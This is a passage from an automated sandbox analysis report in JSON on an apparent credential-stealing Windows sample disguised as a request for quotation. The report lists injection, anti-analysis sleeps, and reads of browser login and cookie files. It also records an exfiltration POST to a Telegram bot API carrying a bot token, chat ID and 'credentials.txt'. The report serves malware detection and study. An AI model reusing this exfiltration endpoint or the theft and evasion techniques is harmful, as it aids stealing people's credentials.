string:\"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\" [Source: 00000000-00003916-00000C40-7784]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"api.telegram.org\"\n \"crl.godaddy.com\"\n \"ocsp.godaddy.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"Requestforquotation.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"Requestforquotation.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"Requestforquotation.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"Requestforquotation.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"Requestforquotation.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"Requestforquotation.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"AppLaunch.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"AppLaunch.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"AppLaunch.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"AppLaunch.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"AppLaunch.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"Requestforquotation.exe\" (UID: 00000000-00003916)\n Spawned process \"AppLaunch.exe\" (UID: 00000000-00003428)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"Requestforquotation.exe\" (UID: 00000000-00003916)\n Spawned process \"AppLaunch.exe\" (UID: 00000000-00003428)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"The input sample possibly contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 452998)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-26","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"Request for quotation.bin\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"Requestforquotation.exe\" connecting to \"\\ThemeApiPort\"\n \"AppLaunch.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"Requestforquotation.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"AppLaunch.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$3a","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"Requestforquotation.exe\" called \"NtQueueApcThread\" (UID: 00000000-00002972)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$3d","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Tries to sleep for a long time (more than two minutes)\n Matched sigs: Possibly tries to evade analysis by sleeping many times\n Matched sigs: The input sample possibly contains the RDTSCP instruction","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$3e","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$3f","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$40","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$41","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"Requestforquotation.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\eb2c4ab8b68ffa4b7733a9139239a396_d76db901ee986b889f30d8cc06229e2d\"\n \"Requestforquotation.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\eb2c4ab8b68ffa4b7733a9139239a396_d76db901ee986b889f30d8cc06229e2d\"\n \"Requestforquotation.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\223de96ee265046957a660ed7c9dd9e7_eff9b9ba98deaa773f261fa85a0b1771\"\n \"Requestforquotation.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\67f6625bc22310d5c99dde12020dbd90\"\n \"Requestforquotation.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\67f6625bc22310d5c99dde12020dbd90\"\n \"Requestforquotation.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\0cc55f78b0e4aa542f9c9a2e9095b378\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"Requestforquotation.exe\" called \"HttpOpenRequestW\" with parameter HTTP method:\"POST\" object: /bot5450700540:AAEJyEEV8BKgYUKmnCPZxp19kD9GVSRup5M/sendDocument?chat_id=5422342474&caption=credentials.txt:::Zvc3lSVUkq\\HgNAJMh\" - (UID: 00000000-00003916)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"Requestforquotation.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00002972)\n \"Requestforquotation.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003916)\n \"AppLaunch.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003428)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"Requestforquotation.exe\" called \"InternetReadFile\" with parameter 56 (UID: 00000000-00003916)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$42","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"Requestforquotation.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"35fc70\"\n \"lpReserved\": \"0\"}\n \"Requestforquotation.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"856f98\"\n \"lpReserved\": \"0\"}\n \"Requestforquotation.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"8189b0\"\n \"lpReserved\": \"0\"}\n \"Requestforquotation.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"85c8c8\"\n \"lpReserved\": \"0\"}\n \"Requestforquotation.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"871370\"\n \"lpReserved\": \"0\"}\n \"Requestforquotation.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"8582d0\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"Requestforquotation.exe\" called \"InternetOpenA with parameter Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\" (UID: 00000000-00003916)\n \"Requestforquotation.exe\" called \"InternetOpenW with parameter Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;\" (UID: 00000000-00003916)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D\"\n Found http requests in header \"GET /gdroot.crl\"\n Found http requests in header \"GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D\"\n Found http requests in header \"GET /gdroot-g2.crl\"\n Found http requests in header \"GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCkYG4%2BrkSiPg%3D%3D\"\n Found http requests in header \"GET /gdig2s1-5395.crl\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"Found string \"api.telegram.org\" (Indicator: \"api.telegram.org\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$44","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$45","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$46","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"149.154.167.220\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE9B4BF387A6F4425FA049D58DA266]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002972.00000001.66899.002D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"$47","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"Requestforquotation.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"Requestforquotation.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000040000004a020000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$48","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"XONaEs\" (Indicator: \"aes\"; File: \"Request for quotation.bin\")\n Found string \"description=\"Uses RsaCryptoServiceProvider to encrypt and decrypt\"\" (Indicator: \"RsaCryptoServiceProvider\"; Source: \"00000000-00002972.00000000.66405.002D0000.00000004.mdmp, 00000000-00002972.00000001.66899.002D0000.00000004.mdmp\")\n Found string \"XONaEs\" (Indicator: \"aes\"; Source: \"00000000-00002972.00000000.66405.00ED2000.00000020.mdmp, 00000000-00002972.00000001.66899.00ED2000.00000020.mdmp\")\n Found string \"Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle\" (Indicator: \"System.Security.Cryptography\"; Source: \"00000000-00002972.00000000.66405.01BF0000.00000004.mdmp\")\n Found string \"Switch.System.Security.Cryptography.UseLegacyFipsThrow\" (Indicator: \"System.Security.Cryptography\"; Source: \"00000000-00002972.00000000.66405.01BF0000.00000004.mdmp\")\n Found string \"icrosoft Enhanced RSA and AES Cryptographic Provider\" (Indicator: \"aes\"; Source: \"00000000-00002972.00000001.66899.002D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to perform sql operations (Dotnet)","description":"Observed namespace \"System.Data.SqlClient.SqlConnection\" and TypeReference \".ctor\" in \"Request for quotation.bin\"\n Observed namespace \"System.Data.SqlClient.SqlCommand\" and TypeReference \".ctor\" in \"Request for quotation.bin\"\n Observed namespace \"System.Data.SqlClient.SqlCommand\" and TypeReference \"ExecuteReader\" in \"Request for quotation.bin\"\n Observed namespace \"System.Data.SqlClient.SqlDataAdapter\" and TypeReference \".ctor\" in \"Request for quotation.bin\"\n Observed namespace \"System.Data.SqlClient.SqlCommand\" and TypeReference \"set_Connection\" in \"Request for quotation.bin\"\n Observed namespace \"System.Data.SqlClient.SqlDataAdapter\" and TypeReference \"set_SelectCommand\" in \"Request for quotation.bin\"\n Observed namespace \"System.Data.SqlClient.SqlCommand\" and TypeReference \"get_Parameters\" in \"Request for quotation.bin\"\n Observed namespace \"System.Data.SqlClient.SqlParameterCollection\" and TypeReference \"AddWithValue\" in \"Request for quotation.bin\"","origin":"Static Parser","mitre_attack_id":"T1213","relevance":1,"id":"static-175","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00002972.00000000.66405.002D0000.00000004.mdmp, 00000000-00002972.00000001.66899.002D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"Requestforquotation.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"Requestforquotation.exe\" opened \"\\Device\\KsecDD\"\n \"AppLaunch.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$49","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$4a","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"Request for quotation.bin\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"Requestforquotation.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"AppLaunch.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"Requestforquotation.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 2972)\n \"AppLaunch.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 3428)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".text\n .reloc with unusual entropies 7.5549943532\n 0.101910425663","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"Requestforquotation.exe\" called \"FileTimeToLocalFileTime\" with parameter b031a488296cd301 & b0012d4c3a6cd301 (UID: 00000000-00003916)\n \"Requestforquotation.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00003916)\n \"Requestforquotation.exe\" called \"FileTimeToLocalFileTime\" with parameter 72bbba939306d901 & 728b4357a406d901 (UID: 00000000-00003916)\n \"Requestforquotation.exe\" called \"FileTimeToLocalFileTime\" with parameter 629013de44d3d901 & b` (UID: 00000000-00003916)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"Requestforquotation.exe\" (Thread ID: 3908) slept \"525\" times (threshold: 500)","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to sleep for a long time (more than two minutes)","description":"\"Requestforquotation.exe\" sleeping for \"1566804069\" milliseconds\n \"AppLaunch.exe\" sleeping for \"1566804069\" milliseconds","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-24","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"56/71 Antivirus vendors marked sample as malicious (78% detection rate)\n 14/32 Antivirus vendors marked sample as malicious (43% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"Requestforquotation.exe\" reads file \"C:\\Users\\desktop.ini\"\n \"Requestforquotation.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 149.154.167.220 on port 443 is sent without HTTP header\n TCP traffic to 192.124.249.23 on port 80 is sent without HTTP header\n TCP traffic to 192.124.249.36 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"Requestforquotation.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Checks on FTP client related files","description":"\"AppLaunch.exe\" opened file \"C:\\Users\\%OSUSER%\\AppData\\Local\\MAPLESTUDIO\\CHROMEPLUS\\USER DATA\"\n \"AppLaunch.exe\" opened file \"C:\\Users\\%OSUSER%\\AppData\\Local\\MAPLESTUDIO\\CHROMEPLUS\\USER DATA\\DEFAULT\\LOGIN DATA\"\n \"AppLaunch.exe\" opened file \"C:\\Users\\%OSUSER%\\AppData\\Local\\MAPLESTUDIO\\CHROMEPLUS\\USER DATA\\LOGIN DATA\"\n \"AppLaunch.exe\" opened file \"C:\\Users\\%OSUSER%\\AppData\\Local\\MAPLESTUDIO\\CHROMEPLUS\\USER DATA\\WEB DATA\"\n \"AppLaunch.exe\" opened file \"C:\\Users\\%OSUSER%\\AppData\\Local\\MAPLESTUDIO\\CHROMEPLUS\\USER DATA\\COOKIES\"\n \"AppLaunch.exe\" opened file \"%LOCALAPPDATA%\\MAPLESTUDIO\\CHROMEPLUS\\USER DATA\"\n \"AppLaunch.exe\" opened file \"%LOCALAPPDATA%\\MAPLESTUDIO\\CHROMEPLUS\\USER DATA\\DEFAULT\\LOGIN DATA\"\n \"AppLaunch.exe\" opened file \"%LOCALAPPDATA%\\MAPLESTUDIO\\CHROMEPLUS\\USER DATA\\LOGIN DATA\"\n \"AppLaunch.exe\" opened file \"%LOCALAPPDATA%\\MAPLESTUDIO\\CHROMEPLUS\\USER DATA\\WEB DATA\"\n \"AppLaunch.exe\" opened file \"%LOCALAPPDATA%\\MAPLESTUDIO\\CHROMEPLUS\\USER DATA\\COOKIES\"","origin":"API Call","mitre_attack_id":"T1005","relevance":8,"id":"api-45","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\"api.telegram.org\" (Indicator: \"telegram.org\"; File: \"PCAP\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to access mail clients information (file access)","description":"\"AppLaunch.exe\" trying to open a file 